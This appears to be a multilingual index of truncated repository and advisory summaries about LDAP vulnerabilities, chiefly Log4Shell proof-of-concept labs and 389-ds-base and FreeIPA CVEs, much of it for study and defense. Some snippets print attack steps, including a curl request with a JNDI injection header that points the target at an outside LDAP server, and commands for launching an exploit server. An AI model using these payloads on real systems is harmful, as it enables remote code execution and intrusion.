log4j-shell-poc

log4j-shell-poc 최근 발견된 CVE-2021-44228 취약점에 대한 Proof-Of-Concept입니다. 최근 log4j에서 새로운 취약점이 발견되었습니다. log4j는 elasticsearch, minecraft 등 다양한 분야에서 널리 사용되는 Java 로깅 라이브러리입니다. 이 저장소에는 취약한 애플리케이션 예제와 이에 대한 proof-of-concept POC 익스플로잇이 포함되어 있습니다. Proof-of-concept POC PoC로는 프로세스를 자동화하는 Python 파일이 있습니다. 요구 사항: p...

sample-ldap-exploit

sample-ldap-exploit CVE-2021-44228 の簡単なデモです。 ビルド $ mvn clean verify 攻撃者の実行 $ java \ -cp 'attacker/target/sample-attacker.jar:attacker/target/lib/' \ sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar URL: http://localhost:8080/...

CVE-2026-86345

A flaw exists in 389-ds-base where the server fails to discard plaintext bytes buffered from a client connection during StartTLS negotiation. This allows an on-path attacker to inject a crafted LDAP message that is processed post-TLS upgrade. Due to a messageID collision , the injected response c...

CVE-2026-86344

A flaw was found in 389-ds-base. An unauthenticated remote attacker can send a complete LDAP operation followed by the first bytes of an incomplete LDAPMessage on the same connection, causing the server to hand that connection to a second worker thread before the first worker's result is flushed...

DEBIAN-CVE-2026-86344

A flaw was found in 389-ds-base. An unauthenticated remote attacker can send a complete LDAP operation followed by the first bytes of an incomplete LDAPMessage on the same connection, causing the server to hand that connection to a second worker thread before the first worker's result is flushed...

log4j2-test

Log4j2 2.14.1 LDAP 원격 코드 실행 취약점CVE-2021-44228 확인 🎈 Spring Boot 2.x 환경에서 테스트 취약점 공지 https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Log4j2 버전을 취약버전으로 낮춤 17 2.14.1 LoggingController : 사용자의 입력을 그대로 받아 로깅하는 컨트롤러 메서드 추가 @PostMapping"/form" public String formString ldapString,...

CVE-2026-86344 389-ds-base: 389-ds-base: unauthenticated worker-thread-pool exhaustion via completed-operation-then-incomplete-pdu connection requeue

A flaw was found in 389-ds-base. An unauthenticated remote attacker can send a complete LDAP operation followed by the first bytes of an incomplete LDAPMessage on the same connection, causing the server to hand that connection to a second worker thread before the first worker's result is flushed...

CVE-2026-86344

A flaw was found in 389-ds-base. An unauthenticated remote attacker can send a complete LDAP operation followed by the first bytes of an incomplete LDAPMessage on the same connection, causing the server to hand that connection to a second worker thread before the first worker's result is flushed...

CVE-2026-86344

A flaw in 389-ds-base allows an unauthenticated remote attacker to perform a denial of service (DoS) attack. By sending a complete LDAP operation followed by the first bytes of an incomplete LDAPMessage on a single connection, the attacker can force the server to hand that connection to a second ...

OneLogicalMyth_Shell

OneLogicalMythShell このHTAシェルは、ブレイクアウトアセスメントを支援するために作成されました。1年以上前に最初に作成したもので、他の人にも役立つかもしれないと思い、公開することにしました。プルリクエストはいつでも歓迎します。 機能 ファイルエクスプローラー ドライブの一覧表示 - ホスト上のすべてのローカルドライブを一覧表示します。ドライブ文字をクリックすると、フォルダーやファイルのナビゲーションを開始できます。 フォルダーの一覧表示 - 上部の入力ボックスにフォルダーパスを入力し、このボタンをクリックすると、その場所からナビゲーションを開始します。...

CVE-2026-76578

CVE-2026-76578 — FreeIPA 匿名管理者乗っ取り 製品: FreeIPA 4.9.x – 4.13.3 深刻度: 重大 CVSS 9.8 修正済み: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el102 RHSA-2026:64785 法的通知 この概念実証は、認可されたセキュリティ研究および脆弱性検証を目的として、 隔離された私有のラボ環境 内でのみ開発および実行されました。 このスクリプトを使用する前に: 自身が所有するシステム、または明示的にテストを許可されたシステムに対してのみ使用してください...

ldap-swak

LDAP スイスアーミーナイフ 多機能LDAPサーバーユーティリティです。 テスト目的のLDAPサーバーをすばやくセットアップしたり、平文を傍受したりNTLM資格情報を転送するためのMitMプロキシ、あるいはさまざまなJava JNDI/LDAPクライアントの脆弱性を悪用するためのツールです。 著者: Moritz Bechler [email protected] プロジェクトリポジトリ: https://github.com/SySS-Research/ldap-swak ビルド Mavenが必要です。 mvn package verify -...

log4shell

Log4Shell このプロジェクトは、log4shell セキュリティ脆弱性の動作を実演するためのものです。 この脆弱性は CVE-2021-44228 に記載されています。 このプロジェクトは教育目的のみを対象としています。 ご自身のシステム上でのみ、実験目的に限って使用してください。 実行はすべて自己責任で行ってください。 作者は、本プロジェクトの実行によって生じたいかなる事故についても責任を負いません。 コマンド例 ldapserver=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389 hello...

log4j_github_repository

この作業には、CVE-2021-44228log4jのテストおよび改善ツールが含まれます この調査の目的は、ブルーチームとレッドチームがLog4jの脆弱性に対して使用できる有用なツールをリストアップすることです。Githubリンクのバイパスツール、スキャン、検出メカニズムなどに使用できます。 スキャンまたはPOC 🔴 タイトル: log4j-shell-poc 🔴 説明: 最近発見されたCVE-2021-44228の脆弱性に対するProof-Of-Concept。 🔴 URL: https://github.com/kozmer/log4j-shell-poc 🔴 タイトル:...

CVE-2021-44228

CVE-2021-44228（Apache Log4j 远程代码执行） すべての log4j-core バージョン =2.0-beta9 かつ =2.14.1 1.x のバージョンには他の脆弱性が存在します。最新バージョンへの更新を推奨します。 Log4Shell（CVE-2021-44228）に関連するセキュリティアドバイザリ / 速報 使用方法: このプロジェクトをダウンロードし、エクスプロイトコード blob/master/src/main/java/Exploit.java をコンパイルし、コンパイル済みバイナリのダウンロードを許可する Web サーバーを起動します。 git...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC Lab 면책 조항 이 실습 환경은 보안 교육 및 연구 목적으로만 제작되었습니다. 모든 트래픽은 격리된 Docker 네트워크 내에서 발생합니다. 실제 시스템이나 명시적인 허가 없이 이 자료를 사용하지 마세요. 오용은 범죄가 될 수 있습니다. 책임감 있게 사용하세요. CVE-2021-44228이란? Log4Shell 은 2021년 12월에 Java 애플리케이션에서 널리 사용되는 로깅 라이브러리 Apache Log4j 2 에서 발견된 치명적인 취약점CVSS 10.0입니다. 취약...

log4j-vul

log4j-vul 이 프로젝트는 Apache Log4j2 취약점CVE-2021-44228을 보여주기 위한 것입니다. Java: java version "1.8.0121" Compile: src 폴더에서 javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: src 폴더에서 java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.j...

log4shell_lab

log4shell 익스플로잇 랩 이 저장소는 log4shell 익스플로잇 랩을 위한 원라인 설정입니다. 랩 설정: docker-compose up -d 익스플로잇 실행: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 그런 다음 vul 컨테이너로 이동하여 실제로 머신을 장악했는지 확인하세요: 랩 설정 설명 영상: https://www.youtube.com/watch?v=WBzR30JcT5g 코드 설명 영상:...

CVE-2024-49113-Checker

CVE-2024-49113-Checker お使いの環境がCVE-2024-49113（LDAP Nightmare）に対して潜在的に脆弱かどうかをテストするスクリプトです。このスクリプトは以下を実行します： RPC接続チェック LDAPポートテスト Netlogonサービスの検証 LDAPコールバックの確認 usage : python CVE-2024-49113-checker.py Example Scan a single IP python CVE-2024-49113-checker.py 192.168.1.1 Scan a subnet python...

Log4Shell

Log4Shell このリポジトリは、Log4j 2021（CVE-2021-44228）の脆弱性のデモンストレーションと緩和策のためのものです。 Log4Shellとは？ CVE-2021-44228 / Log4Shellの脆弱性は、悪意のあるペイロードを脆弱なソフトウェアに注入することで構成され、Log4JにJNDIとLDAPプロトコルを通じて第三者ソースから値を取得するよう要求させます。... 取り込まれたデータはコードになる可能性があり、それがシステム上でLog4Jによって実行されます。 概念実証（ビデオチュートリアル） 1...